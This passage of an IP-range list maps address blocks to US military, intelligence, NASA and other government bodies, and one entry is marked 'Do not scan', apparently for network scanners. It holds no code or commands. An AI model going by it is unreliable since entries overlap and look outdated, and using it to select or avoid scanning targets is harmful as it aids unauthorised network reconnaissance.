138.143.0.0 Navy Regional Data Automation Center&lt;br /&gt;
138.144.0.0 NAVCOMTELCOM&lt;br /&gt;
138.145.0.0 NCTS WASHINGTON&lt;br /&gt;
138.146.0.0 NCTC&lt;br /&gt;
138.147.0.0 NCTC&lt;br /&gt;
138.148.0.0 NCTC&lt;br /&gt;
138.149.0.0 NCTC&lt;br /&gt;
138.150.0.0 NCTC&lt;br /&gt;
138.151.0.0 NCTC&lt;br /&gt;
138.152.0.0 NCTC&lt;br /&gt;
138.153.0.0 Yokosuka Naval Base&lt;br /&gt;
138.154.0.0 NCTC&lt;br /&gt;
138.155.0.0 NCTC&lt;br /&gt;
138.156.0.0 Marine Corps Central Design &amp;amp; Prog. Activity&lt;br /&gt;
138.157.0.0 - 138.157.255.255 Marine Corps Central Design &amp;amp; Prog. Activity&lt;br /&gt;
138.158.0.0 Marine Corps Central Design &amp;amp; Prog. Activity&lt;br /&gt;
138.159.0.0 NCTC&lt;br /&gt;
138.160.0.0 Naval Air Station&lt;br /&gt;
138.161.0.0 NCTC&lt;br /&gt;
138.162.0.0 NCTC&lt;br /&gt;
138.163.0.0 NCTC&lt;br /&gt;
138.164.0.0 NCTC&lt;br /&gt;
138.165.0.0 NCTC&lt;br /&gt;
138.166.0.0 NCTC&lt;br /&gt;
138.167.0.0 NOC, MCTSSA, East&lt;br /&gt;
138.168.0.0 Marine Corps Central Design &amp;amp; Prog. Activity&lt;br /&gt;
138.169.0.0 NAVAL COMPUTER AND TELECOMM&lt;br /&gt;
138.169.12.0 NAVAL COMPUTER AND TELECOMM&lt;br /&gt;
138.169.13.0 NAVAL COMPUTER AND TELECOMM&lt;br /&gt;
138.170.0.0 NCTC&lt;br /&gt;
138.171.0.0 NCTC&lt;br /&gt;
138.172.0.0 NCTC&lt;br /&gt;
138.173.0.0 NCTC&lt;br /&gt;
138.174.0.0 NCTC&lt;br /&gt;
138.175.0.0 NCTC&lt;br /&gt;
138.176.0.0 NCTC&lt;br /&gt;
138.177.0.0 NCTS Pensacola&lt;br /&gt;
138.178.0.0 NCTC&lt;br /&gt;
138.179.0.0 NCTC&lt;br /&gt;
138.180.0.0 NCTC&lt;br /&gt;
138.181.0.0 NCTC&lt;br /&gt;
138.182.0.0 CNO N60&lt;br /&gt;
138.183.0.0 NCTC&lt;br /&gt;
138.184.0.0 NCTS&lt;br /&gt;
138.193.0.0 NASA/Yellow Creek&lt;br /&gt;
&lt;br /&gt;
RANGE 139&lt;br /&gt;
139.31.0.0 20th Tactical Fighter Wing&lt;br /&gt;
139.32.0.0 48th Tactical Fighter Wing&lt;br /&gt;
139.33.0.0 36th Tactical Fighter Wing&lt;br /&gt;
139.34.0.0 52nd Tactical Fighter Wing&lt;br /&gt;
139.35.0.0 50th Tactical Fighter Wing&lt;br /&gt;
139.36.0.0 66th Electronic Combat Wing&lt;br /&gt;
139.37.0.0 26th Tactical Reconnaissance Wing&lt;br /&gt;
139.38.0.0 32nd Tactical Fighter Squadron&lt;br /&gt;
139.39.0.0 81st Tactical Fighter Wing&lt;br /&gt;
139.40.0.0 10th Tactical Fighter Wing&lt;br /&gt;
139.41.0.0 39th Tactical Air Control Group&lt;br /&gt;
139.42.0.0 40th Tactical Air Control Group&lt;br /&gt;
139.43.0.0 401st Tactical Fighter Wing&lt;br /&gt;
139.124.* Reseau Infomratique&lt;br /&gt;
139.142.*.*&lt;br /&gt;
&lt;br /&gt;
RANGE 140&lt;br /&gt;
140.1.0.0 Defense Information Systems Agency&lt;br /&gt;
140.3.0.0 Defense Information Systems Agency&lt;br /&gt;
140.4.0.0 Defense Information Systems Agency&lt;br /&gt;
140.5.0.0 Defense Information Systems Agency&lt;br /&gt;
140.6.0.0 Defense Information Systems Agency&lt;br /&gt;
140.7.0.0 Defense Information Systems Agency&lt;br /&gt;
140.8.0.0 Defense Information Systems Agency&lt;br /&gt;
140.9.0.0 Defense Information Systems Agency&lt;br /&gt;
140.10.0.0 Defense Information Systems Agency&lt;br /&gt;
140.11.0.0 Defense Information Systems Agency&lt;br /&gt;
140.12.0.0 Defense Information Systems Agency&lt;br /&gt;
140.13.0.0 Defense Information Systems Agency&lt;br /&gt;
140.14.0.0 DISA Columbus Level II NOC&lt;br /&gt;
140.15.0.0 Defense Information Systems Agency&lt;br /&gt;
140.16.0.0 Defense Information Systems Agency&lt;br /&gt;
140.17.0.0 Defense Information Systems Agency&lt;br /&gt;
140.18.0.0 Defense Information Systems Agency&lt;br /&gt;
140.19.0.0 Defense Information Systems Agency&lt;br /&gt;
140.20.0.0 Defense Information Systems Agency&lt;br /&gt;
140.21.0.0 Defense Information Systems Agency&lt;br /&gt;
140.22.0.0 Defense Information Systems Agency&lt;br /&gt;
140.23.0.0 Defense Information Systems Agency&lt;br /&gt;
140.24.0.0 ASIC ALLIANCE-MARLBORO&lt;br /&gt;
140.25.0.0 Defense Information Systems Agency&lt;br /&gt;
140.26.0.0 Defense Information Systems Agency&lt;br /&gt;
140.27.0.0 Defense Information Systems Agency&lt;br /&gt;
140.28.0.0 Defense Information Systems Agency&lt;br /&gt;
140.29.0.0 Defense Information Systems Agency&lt;br /&gt;
140.30.0.0 Defense Information Systems Agency&lt;br /&gt;
140.31.0.0 Defense Information Systems Agency&lt;br /&gt;
140.32.0.0 Defense Information Systems Agency&lt;br /&gt;
140.33.0.0 Defense Information Systems Agency&lt;br /&gt;
140.34.0.0 Defense Information Systems Agency&lt;br /&gt;
140.35.0.0 Defense Information Systems Agency&lt;br /&gt;
140.36.0.0 Defense Information Systems Agency&lt;br /&gt;
140.37.0.0 Defense Information Systems Agency&lt;br /&gt;
140.38.0.0 Defense Information Systems Agency&lt;br /&gt;
140.39.0.0 Defense Information Systems Agency&lt;br /&gt;
140.40.0.0 Defense Information Systems Agency&lt;br /&gt;
140.41.0.0 Defense Information Systems Agency&lt;br /&gt;
140.42.0.0 Defense Information Systems Agency&lt;br /&gt;
140.43.0.0 Defense Information Systems Agency&lt;br /&gt;
140.44.0.0 Defense Information Systems Agency&lt;br /&gt;
140.45.0.0 Defense Information Systems Agency&lt;br /&gt;
140.46.0.0 Defense Information Systems Agency&lt;br /&gt;
140.47.0.0 - 140.47.255.255 Defense Information Systems Agency&lt;br /&gt;
140.47.0.0 - 140.48.255.255 DOD Network Information Center&lt;br /&gt;
140.48.0.0 - 140.48.255.255 Defense Information Systems Agency&lt;br /&gt;
140.49.0.0 Defense Information Systems Agency&lt;br /&gt;
140.50.0.0 Defense Information Systems Agency&lt;br /&gt;
140.51.0.0 Defense Information Systems Agency&lt;br /&gt;
140.52.0.0 Defense Information Systems Agency&lt;br /&gt;
140.53.0.0 Defense Information Systems Agency&lt;br /&gt;
140.54.0.0 Defense Information Systems Agency&lt;br /&gt;
140.55.0.0 Defense Information Systems Agency&lt;br /&gt;
140.56.0.0 Defense Information Systems Agency&lt;br /&gt;
140.57.0.0 Defense Information Systems Agency&lt;br /&gt;
140.58.0.0 Defense Information Systems Agency&lt;br /&gt;
140.59.0.0 Defense Information Systems Agency&lt;br /&gt;
140.60.0.0 Defense Information Systems Agency&lt;br /&gt;
140.61.0.0 Defense Information Systems Agency&lt;br /&gt;
140.62.0.0 Defense Information Systems Agency&lt;br /&gt;
140.63.0.0 Defense Information Systems Agency&lt;br /&gt;
140.64.0.0 Defense Information Systems Agency&lt;br /&gt;
140.65.0.0 Defense Information Systems Agency&lt;br /&gt;
140.66.0.0 Defense Information Systems Agency&lt;br /&gt;
140.67.0.0 Defense Information Systems Agency&lt;br /&gt;
140.68.0.0 Defense Information Systems Agency&lt;br /&gt;
140.69.0.0 Defense Information Systems Agency&lt;br /&gt;
140.70.0.0 Defense Information Systems Agency&lt;br /&gt;
140.71.0.0 Defense Information Systems Agency&lt;br /&gt;
140.72.0.0 Defense Information Systems Agency&lt;br /&gt;
140.73.0.0 Defense Information Systems Agency&lt;br /&gt;
140.74.0.0 - 140.74.255.255 Defense Information Systems Agency&lt;br /&gt;
140.100.0.0 Naval Sea Systems Command&lt;br /&gt;
140.139.0.0 HQ US Army Medical Research and Development Command&lt;br /&gt;
140.154.0.0 HQ 5th Signal Command&lt;br /&gt;
140.155.0.0 HQ, 5th Signal Command&lt;br /&gt;
140.156.0.0 HQ, 5th Signal Command&lt;br /&gt;
140.175.0.0 Scott Air Force Base&lt;br /&gt;
140.178.0.0 Naval Undersea Warfare Center Division, Keyport&lt;br /&gt;
140.187.0.0 Fort Bragg&lt;br /&gt;
140.194.0.0 US Army Corps of Engineers&lt;br /&gt;
140.195.0.0 Naval Sea Systems Command&lt;br /&gt;
140.199.0.0 Naval Ocean Systems Center&lt;br /&gt;
140.201.0.0 HQ, 5th Signal Command&lt;br /&gt;
140.202.0.0 106TH SIGNAL BRIGADE&lt;br /&gt;
&lt;br /&gt;
RANGE 143&lt;br /&gt;
143.45.0.0 58th Signal Battalion&lt;br /&gt;
143.46.0.0 U.S. Army, 1141st Signal Battalion&lt;br /&gt;
143.68.0.0 Headquarters, USAISC&lt;br /&gt;
143.69.0.0 Headquarters, USAAISC&lt;br /&gt;
143.70.0.0 Headquarters, USAAISC&lt;br /&gt;
143.71.0.0 Headquarters, USAAISC&lt;br /&gt;
143.72.0.0 Headquarters, USAAISC&lt;br /&gt;
143.73.0.0 Headquarters, USAAISC&lt;br /&gt;
143.74.0.0 Headquarters, USAAISC&lt;br /&gt;
143.75.0.0 Headquarters, USAAISC&lt;br /&gt;
143.76.0.0 Headquarters, USAAISC&lt;br /&gt;
143.77.0.0 Headquarters, USAAISC&lt;br /&gt;
143.78.0.0 Headquarters, USAAISC&lt;br /&gt;
143.79.0.0 Headquarters, USAAISC&lt;br /&gt;
143.80.0.0 Headquarters, USAAISC&lt;br /&gt;
143.81.0.0 Headquarters, USAAISC&lt;br /&gt;
143.82.0.0 Headquarters, USAAISC&lt;br /&gt;
143.84.0.0 Headquarters, USAAISC&lt;br /&gt;
143.85.0.0 Headquarters, USAAISC&lt;br /&gt;
143.86.0.0 Headquarters, USAAISC&lt;br /&gt;
143.87.0.0 Headquarters, USAAISC&lt;br /&gt;
143.232.0.0 NASA Ames Research Center&lt;br /&gt;
&lt;br /&gt;
RANGE 144&lt;br /&gt;
144.99.0.0 United States Army Information Systems Command&lt;br /&gt;
144.109.0.0 Army Information Systems Command&lt;br /&gt;
144.143.0.0 Headquarters, Third United States Army&lt;br /&gt;
144.144.0.0 Headquarters, Third United States Army&lt;br /&gt;
144.146.0.0 Commander, Army Information Systems Center&lt;br /&gt;
144.147.0.0 Commander, Army Information Systems Center&lt;br /&gt;
144.170.0.0 HQ, 5th Signal Command&lt;br /&gt;
144.192.0.0 United States Army Information Services Command-Campbell&lt;br /&gt;
144.233.0.0 Defense Intelligence Agency&lt;br /&gt;
144.234.0.0 Defense Intelligence Agency&lt;br /&gt;
144.235.0.0 Defense Intelligence Agency&lt;br /&gt;
144.236.0.0 Defense Intelligence Agency&lt;br /&gt;
144.237.0.0 Defense Intelligence Agency&lt;br /&gt;
144.238.0.0 Defense Intelligence Agency&lt;br /&gt;
144.239.0.0 Defense Intelligence Agency&lt;br /&gt;
144.240.0.0 Defense Intelligence Agency&lt;br /&gt;
144.241.0.0 Defense Intelligence Agency&lt;br /&gt;
144.242.0.0 Defense Intelligence Agency&lt;br /&gt;
144.252.0.0 U.S. Army LABCOM&lt;br /&gt;
&lt;br /&gt;
RANGE 146&lt;br /&gt;
146.17.0.0 HQ, 5th Signal Command&lt;br /&gt;
146.80.0.0 Defence Research Agency&lt;br /&gt;
146.98.0.0 HQ United States European Command&lt;br /&gt;
146.154.0.0 NASA/Johnson Space Center&lt;br /&gt;
146.165.0.0 NASA Langley Research Center&lt;br /&gt;
&lt;br /&gt;
RANGE 147&lt;br /&gt;
147.35.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.36.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.37.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.38.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.39.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.40.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.42.0.0 Army CALS Project&lt;br /&gt;
147.103.0.0 Army Information Systems Software Center&lt;br /&gt;
147.104.0.0 Army Information Systems Software Center&lt;br /&gt;
147.159.0.0 Naval Air Warfare Center, Aircraft Division&lt;br /&gt;
147.168.0.0 Naval Surface Warfare Center&lt;br /&gt;
147.169.0.0 HQ, 5th Signal Command&lt;br /&gt;
147.198.0.0 Army Information Systems Command&lt;br /&gt;
147.199.0.0 Army Information Systems Command&lt;br /&gt;
147.238.0.0 Army Information Systems Command&lt;br /&gt;
147.239.0.0 1112th Signal Battalion&lt;br /&gt;
147.240.0.0 US Army Tank-Automotive Command&lt;br /&gt;
147.242.0.0 19th Support Command&lt;br /&gt;
147.248.0.0 Fort Monroe DOIM&lt;br /&gt;
147.254.0.0 7th Communications Group&lt;br /&gt;
&lt;br /&gt;
RANGE 148&lt;br /&gt;
148.114.0.0 NASA, Stennis Space Center&lt;br /&gt;
&lt;br /&gt;
RANGE 150&lt;br /&gt;
150.113.0.0 1114th Signal Battalion&lt;br /&gt;
150.114.0.0 1114th Signal Battalion&lt;br /&gt;
150.125.0.0 Space and Naval Warfare Command&lt;br /&gt;
150.133.0.0 10th Area Support Group&lt;br /&gt;
150.144.0.0 NASA Goodard Space Flight Center&lt;br /&gt;
150.149.0.0 Army Information Systems Command&lt;br /&gt;
150.157.0.0 USAISC-Fort Lee&lt;br /&gt;
150.184.0.0 Fort Monroe DOIM&lt;br /&gt;
150.190.0.0 USAISC-Letterkenny&lt;br /&gt;
150.196.0.0 USAISC-LABCOM&lt;br /&gt;
&lt;br /&gt;
RANGE 152&lt;br /&gt;
152.82.0.0 7th Communications Group of the Air Force&lt;br /&gt;
152.151.0.0 U.S. Naval Space &amp;amp; Naval Warfare Systems Command&lt;br /&gt;
152.152.0.0 NATO Headquarters&lt;br /&gt;
152.154.0.0 Defense Information Systems Agency&lt;br /&gt;
152.229.0.0 Defense MegaCenter (DMC) Denver&lt;br /&gt;
&lt;br /&gt;
RANGE 153&lt;br /&gt;
153.21.0.0 USCENTAF/SCM&lt;br /&gt;
153.22.0.0 USCENTAF/SCM&lt;br /&gt;
153.23.0.0 USCENTAF/SCM&lt;br /&gt;
153.24.0.0 USCENTAF/SCM&lt;br /&gt;
153.25.0.0 USCENTAF/SCM&lt;br /&gt;
153.26.0.0 USCENTAF/SCM&lt;br /&gt;
153.27.0.0 USCENTAF/SCM&lt;br /&gt;
153.28.0.0 USCENTAF/SCM&lt;br /&gt;
153.29.0.0 USCENTAF/SCM&lt;br /&gt;
153.30.0.0 USCENTAF/SCM&lt;br /&gt;
153.31.0.0 Federal Bureau of Investigation&lt;br /&gt;
&lt;br /&gt;
RANGE 155&lt;br /&gt;
155.5.0.0 1141st Signal Bn&lt;br /&gt;
155.6.0.0 1141st Signal Bn&lt;br /&gt;
155.7.0.0 American Forces Information&lt;br /&gt;
155.8.0.0 U.S. ArmyFort Gordon&lt;br /&gt;
155.9.0.0 - 155.9.255.255 United States Army Information Systems Command&lt;br /&gt;
155.74.0.0 PEO STAMIS&lt;br /&gt;
155.75.0.0 US Army Corps of Engineers&lt;br /&gt;
155.76.0.0 PEO STAMIS&lt;br /&gt;
155.77.0.0 PEO STAMIS&lt;br /&gt;
155.78.0.0 PEO STAMIS&lt;br /&gt;
155.79.0.0 US Army Corps of Engineers&lt;br /&gt;
155.80.0.0 PEO STAMIS&lt;br /&gt;
155.81.0.0 PEO STAMIS&lt;br /&gt;
155.82.0.0 PEO STAMIS&lt;br /&gt;
155.83.0.0 US Army Corps of Enginers&lt;br /&gt;
155.84.0.0 PEO STAMIS&lt;br /&gt;
155.85.0.0 PEO STAMIS&lt;br /&gt;
155.86.0.0 US Army Corps of Engineers&lt;br /&gt;
155.87.0.0 PEO STAMIS&lt;br /&gt;
155.88.0.0 PEO STAMIS&lt;br /&gt;
155.96.0.0 Drug Enforcement Administration&lt;br /&gt;
155.149.0.0 1112th Signal Battalion&lt;br /&gt;
155.155.0.0 HQ, 5th Signal Command&lt;br /&gt;
155.178.0.0 Federal Aviation Administration&lt;br /&gt;
155.213.0.0 USAISC Fort Benning&lt;br /&gt;
155.214.0.0 Director of Information Management&lt;br /&gt;
155.215.0.0 USAISC-FT DRUM&lt;br /&gt;
155.216.0.0 TCACCIS Project Management Office&lt;br /&gt;
155.217.0.0 Directorate of Information Management&lt;br /&gt;
155.218.0.0 USAISC&lt;br /&gt;
155.219.0.0 DOIM/USAISC Fort Sill&lt;br /&gt;
155.220.0.0 USAISC-DOIM&lt;br /&gt;
155.221.0.0 USAISC-Ft Ord&lt;br /&gt;
&lt;br /&gt;
RANGE 156&lt;br /&gt;
156.9.0.0 U. S. Marshals Service&lt;br /&gt;
&lt;br /&gt;
RANGE 157&lt;br /&gt;
157.150.0.0 United Nations&lt;br /&gt;
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET&lt;br /&gt;
157.202.0.0 US Special Operations Command&lt;br /&gt;
157.217.0.0 U. S. Strategic Command&lt;br /&gt;
&lt;br /&gt;
RANGE 158&lt;br /&gt;
158.1.0.0 Commander, Tooele Army Depot&lt;br /&gt;
158.2.0.0 USAMC Logistics Support Activity&lt;br /&gt;
158.3.0.0 U.S. Army TACOM&lt;br /&gt;
158.4.0.0 UASISC Ft. Carson&lt;br /&gt;
158.5.0.0 1112th Signal Battalion&lt;br /&gt;
158.6.0.0 USAISC-Ft. McCoy&lt;br /&gt;
158.7.0.0 USAISC-FLW&lt;br /&gt;
158.8.0.0 US Army Soldier Support Center&lt;br /&gt;
158.9.0.0 USAISC-CECOM&lt;br /&gt;
158.10.0.0 GOC&lt;br /&gt;
158.11.0.0 UASISC-Vint Hill&lt;br /&gt;
158.12.0.0 US Army Harry Diamond Laboratories&lt;br /&gt;
158.13.0.0 USAISC DOIM&lt;br /&gt;
158.14.0.0 1112th Signal Battalion&lt;br /&gt;
158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville&lt;br /&gt;
158.16.0.0 Rocky Mountain Arsenal (PMRMA)&lt;br /&gt;
158.17.0.0 Crane Army Ammunition Activity&lt;br /&gt;
158.18.0.0 Defense Finance &amp;amp; Accounting Service Center&lt;br /&gt;
158.19.0.0 DOIM&lt;br /&gt;
158.20.0.0 DOIM&lt;br /&gt;
158.235.0.0 Marine Corps Central Design and Programming Activity&lt;br /&gt;
158.243.0.0 Marine Corps Central Design and Programming Activity&lt;br /&gt;
158.244.0.0 Marine Corps Central Design and Programming Activity&lt;br /&gt;
158.245.0.0 Marine Corps Central Design and Programming Activity&lt;br /&gt;
158.246.0.0 Marine Corps Central Design and Programming Activity&lt;br /&gt;
&lt;br /&gt;
RANGE 159&lt;br /&gt;
159.120.0.0 Naval Air Systems Command (Air 4114)&lt;br /&gt;
&lt;br /&gt;
RANGE 160&lt;br /&gt;
160.132.0.0 US Army Recruiting Command&lt;br /&gt;
160.135.0.0 36th Signal BN&lt;br /&gt;
160.138.0.0 USAISC&lt;br /&gt;
160.139.0.0 USAISC&lt;br /&gt;
160.140.0.0 HQ, United States Army&lt;br /&gt;
160.143.0.0 USAISC&lt;br /&gt;
160.145.0.0 1101st Signal Brigade&lt;br /&gt;
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS&lt;br /&gt;
160.150.0.0 Commander, Moncrief Army Hospital&lt;br /&gt;
&lt;br /&gt;
RANGE 161&lt;br /&gt;
161.124.0.0 NAVAL WEAPONS STATION&lt;br /&gt;
&lt;br /&gt;
RANGE 162&lt;br /&gt;
162.32.0.0 Naval Aviation Depot Pensacola&lt;br /&gt;
162.45.0.0 Central Intelligence Agency&lt;br /&gt;
162.46.0.0 Central Intelligence Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 163&lt;br /&gt;
163.205.0.0 NASA Kennedy Space Center&lt;br /&gt;
163.206.0.0 NASA Kennedy Space Center&lt;br /&gt;
&lt;br /&gt;
RANGE 164&lt;br /&gt;
164.45.0.0 Naval Ordnance Center, Pacific Division&lt;br /&gt;
164.49.0.0 United States Army Space and Strategic Defense&lt;br /&gt;
164.158.0.0 Naval Surface Warfare Center&lt;br /&gt;
164.217.0.0 Institute for Defense Analyses&lt;br /&gt;
164.218.0.0 Bureau of Naval Personnel&lt;br /&gt;
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER&lt;br /&gt;
164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET&lt;br /&gt;
164.221.0.0 - 164.221.255.255 Information Technology&lt;br /&gt;
164.223.0.0 Naval Undersea Warfare Center&lt;br /&gt;
164.224.0.0 Secretary of the Navy&lt;br /&gt;
164.225.0.0 U.S. Army Intelligence and Security Command&lt;br /&gt;
164.226.0.0 Naval Exchange Service Command&lt;br /&gt;
164.227.0.0 Naval Surface Warfare Center, Crane Division&lt;br /&gt;
164.228.0.0 USCINCPAC J21T&lt;br /&gt;
164.229.0.0 NCTS-NOLA&lt;br /&gt;
164.230.0.0 Naval Aviation Depot&lt;br /&gt;
164.231.0.0 Military Sealift Command&lt;br /&gt;
164.232.0.0 - 164.232.255.255 United States Southern Command&lt;br /&gt;
&lt;br /&gt;
RANGE 167&lt;br /&gt;
167.44.0.0 Government Telecommunications Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 168&lt;br /&gt;
168.68.0.0 USDA Office of Operations&lt;br /&gt;
168.85.0.0 Fort Sanders Alliance&lt;br /&gt;
168.102.0.0 Indiana Purdue Fort Wayne&lt;br /&gt;
&lt;br /&gt;
RANGE 169&lt;br /&gt;
169.252.0.0 - 169.253.0.0 U.S. Department of State&lt;br /&gt;
&lt;br /&gt;
RANGE 194&lt;br /&gt;
&lt;br /&gt;
RANGE 195&lt;br /&gt;
195.10.* Various - Do not scan&lt;br /&gt;
&lt;br /&gt;
RANGE 199&lt;br /&gt;
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA&lt;br /&gt;
&lt;br /&gt;
RANGE 203&lt;br /&gt;
203.59.0.0 - 203.59.255.255 Perth Australia iiNET&lt;br /&gt;
&lt;br /&gt;
RANGE 204&lt;br /&gt;
204.34.0.0 - 204.34.15.0 IPC JAPAN&lt;br /&gt;
204.34.0.0 - 204.37.255.0 DOD Network Information Center&lt;br /&gt;
204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery&lt;br /&gt;
204.34.32.0 - 204.34.63.0 USACOM&lt;br /&gt;
204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE&lt;br /&gt;
204.34.128.0 DISA-Eucom / BBN-STD, Inc.&lt;br /&gt;
204.34.129.0 Defense Technical Information Center&lt;br /&gt;
204.34.130.0 GSI&lt;br /&gt;
204.34.131.0 NSA NAPLES ITALY&lt;br /&gt;
204.34.132.0 NAVSTA ROTA SPAIN&lt;br /&gt;
204.34.133.0 NAS SIGONELLA ITALY&lt;br /&gt;
204.34.134.0 Naval Air Warfare Center Aircraft Division&lt;br /&gt;
204.34.135.0 GSI&lt;br /&gt;
204.34.136.0 Naval Undersea Warfare Center USRD - Orlando&lt;br /&gt;
204.34.137.0 Joint Spectrum Center&lt;br /&gt;
204.34.138.0 GSI&lt;br /&gt;
204.34.139.0 HQ, JFMO Korea, Headquarters&lt;br /&gt;
204.34.140.0 DISA D75&lt;br /&gt;
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan&lt;br /&gt;
204.34.142.0 Naval Enlisted Personnel Management Center&lt;br /&gt;
204.34.143.0 Afloat Training Group Pacific&lt;br /&gt;
204.34.144.0 HQ Special Operations Command - Europe&lt;br /&gt;
204.34.145.0 Commander Naval Base Pearl Harbor&lt;br /&gt;
204.34.147.0 NAVSEA Information Management Improvement Program&lt;br /&gt;
204.34.148.0 Q112&lt;br /&gt;
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures&lt;br /&gt;
204.34.150.0 Resource Consultants, Inc.&lt;br /&gt;
204.34.151.0 Personnel Support Activity, San Diego&lt;br /&gt;
204.34.152.0 NAVAL AIR FACILITY, ADAK&lt;br /&gt;
204.34.153.0 NAVSEA Logistics Command Detachment&lt;br /&gt;
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD&lt;br /&gt;
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD&lt;br /&gt;
204.34.156.0 Defense Photography School&lt;br /&gt;
204.34.157.0 - 204.34.160.0 Defense Information School&lt;br /&gt;
204.34.161.0 Naval Air Systems Command&lt;br /&gt;
204.34.162.0 Puget Sound Naval Shipyard&lt;br /&gt;
204.34.163.0 Joint Precision Strike Demonstration&lt;br /&gt;
204.34.164.0 Naval Pacific Meteorology and Ocean&lt;br /&gt;
204.34.165.0 Joint Precision Strike Demonstration&lt;br /&gt;
204.34.167.0 USAF&lt;br /&gt;
204.34.168.0 Commander&lt;br /&gt;
204.34.169.0 Naval Air Warfare Center&lt;br /&gt;
204.34.170.0 Naval Air Systems Command&lt;br /&gt;
204.34.171.0 NAVSTA SUPPLY DEPARTMENT&lt;br /&gt;
204.34.173.0 SUBMEPP Activity&lt;br /&gt;
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN&lt;br /&gt;
204.34.176.0 DISA-PAC,IPC-GUAM&lt;br /&gt;
204.34.177.0 Satellite Production Test Center&lt;br /&gt;
204.34.181.0 940 Air Refueling Wing&lt;br /&gt;
204.34.182.0 Defense Megacenter Warner Robins&lt;br /&gt;
204.34.183.0 GCCS Support Facility&lt;br /&gt;
204.34.184.0 Nav Air Tech Serv Facility-Detachment&lt;br /&gt;
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA&lt;br /&gt;
204.34.186.0 Defense Logistics Agency - Europe&lt;br /&gt;
204.34.187.0 NAVMASSO&lt;br /&gt;
204.34.188.0 Commander-In-Chief, US Pacific Fleet&lt;br /&gt;
204.34.189.0 Defense MegaCenter - St Louis&lt;br /&gt;
204.34.190.0 NAVMASSO&lt;br /&gt;
204.34.192.0 HQ SOCEUR&lt;br /&gt;
204.34.193.0 Second Marine Expeditionary Force&lt;br /&gt;
204.34.194.0 Second Marine Expeditionary Force&lt;br /&gt;
204.34.195.0 Second Marine Expeditionary Force&lt;br /&gt;
204.34.196.0 NAVCOMTELSTAWASHDC&lt;br /&gt;
204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER&lt;br /&gt;
204.34.198.0 Naval Observatory Detachment, Colorado&lt;br /&gt;
204.34.199.0 NAVILCODETMECH&lt;br /&gt;
204.34.200.0 Navy Environmental Preventive Medicine&lt;br /&gt;
204.34.201.0 Port Hueneme Division, Naval Surf&lt;br /&gt;
204.34.202.0 Naval Facilities Engineering Housing&lt;br /&gt;
204.34.203.0 NAVSEA Logistics Command Detachment&lt;br /&gt;
204.34.204.0 Naval Air Warfare Center&lt;br /&gt;
204.34.205.0 Portsmouth Naval Shipyard&lt;br /&gt;
204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER&lt;br /&gt;
204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific&lt;br /&gt;
204.34.211.0 USAF Academy&lt;br /&gt;
204.34.212.0 3rd Combat Service Support&lt;br /&gt;
204.34.213.0 1st Radio Battalion&lt;br /&gt;
204.34.214.0 OASD (Health Affairs)&lt;br /&gt;
204.34.215.0 Second Marine Expeditionary Force&lt;br /&gt;
204.34.216.0 1st Marine Air Wing&lt;br /&gt;
204.34.217.0 SA-ALC/LTE&lt;br /&gt;
204.34.218.0 3rd Marine&lt;br /&gt;
204.34.219.0 Communications and Electronics&lt;br /&gt;
204.34.220.0 G-6 Operations&lt;br /&gt;
204.34.221.0 G-6 Operations&lt;br /&gt;
204.34.222.0 G-6 Operations&lt;br /&gt;
204.34.223.0 G-6 Operations&lt;br /&gt;
204.34.224.0 G-6 Operations&lt;br /&gt;
204.34.225.0 Joint Interoperability Test Command&lt;br /&gt;
204.34.226.0 NAVMASSO&lt;br /&gt;
204.34.227.0 NAVMASSO&lt;br /&gt;
204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency&lt;br /&gt;
204.34.229.0 Naval Space Command&lt;br /&gt;
204.34.230.0 Naval Pacific Meteorology and Oceanography&lt;br /&gt;
204.34.232.0 Military Family Housing&lt;br /&gt;
204.34.233.0 - 204.34.233.255 Navy Material Transportation Office&lt;br /&gt;
204.34.234.0 NAVMASSO&lt;br /&gt;
204.34.235.0 Defense Finance and Accounting Service&lt;br /&gt;
204.34.237.0 European Stars and Stripes&lt;br /&gt;
204.34.238.0 Pacific Stars and Stripes&lt;br /&gt;
204.34.239.0 PUGET SOUND NAVAL SHIPYARD&lt;br /&gt;
204.34.240.0 Nval Station, Guantanamo Bay&lt;br /&gt;
204.34.242.0 COMNAVSURFPAC&lt;br /&gt;
204.34.243.0 NAVMASSO&lt;br /&gt;
204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy&lt;br /&gt;
204.34.245.0 USAF SpaceCommand&lt;br /&gt;
204.34.246.0 USAF&lt;br /&gt;
204.34.247.0 U.S. Army Special Operations Command&lt;br /&gt;
204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA&lt;br /&gt;
204.34.249.0 Naval Aviation Depot North Island&lt;br /&gt;
204.34.250.0 NAVMASSO&lt;br /&gt;
204.34.251.0 NAVSEA Log Command Detachment Pacific&lt;br /&gt;
204.34.252.0 Command Special Boat Squadron One&lt;br /&gt;
204.34.253.0 AFPCA/GNNN&lt;br /&gt;
204.34.254.0 Navy Environmental Preventive Medicine&lt;br /&gt;
&lt;br /&gt;
RANGE 205&lt;br /&gt;
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR&lt;br /&gt;
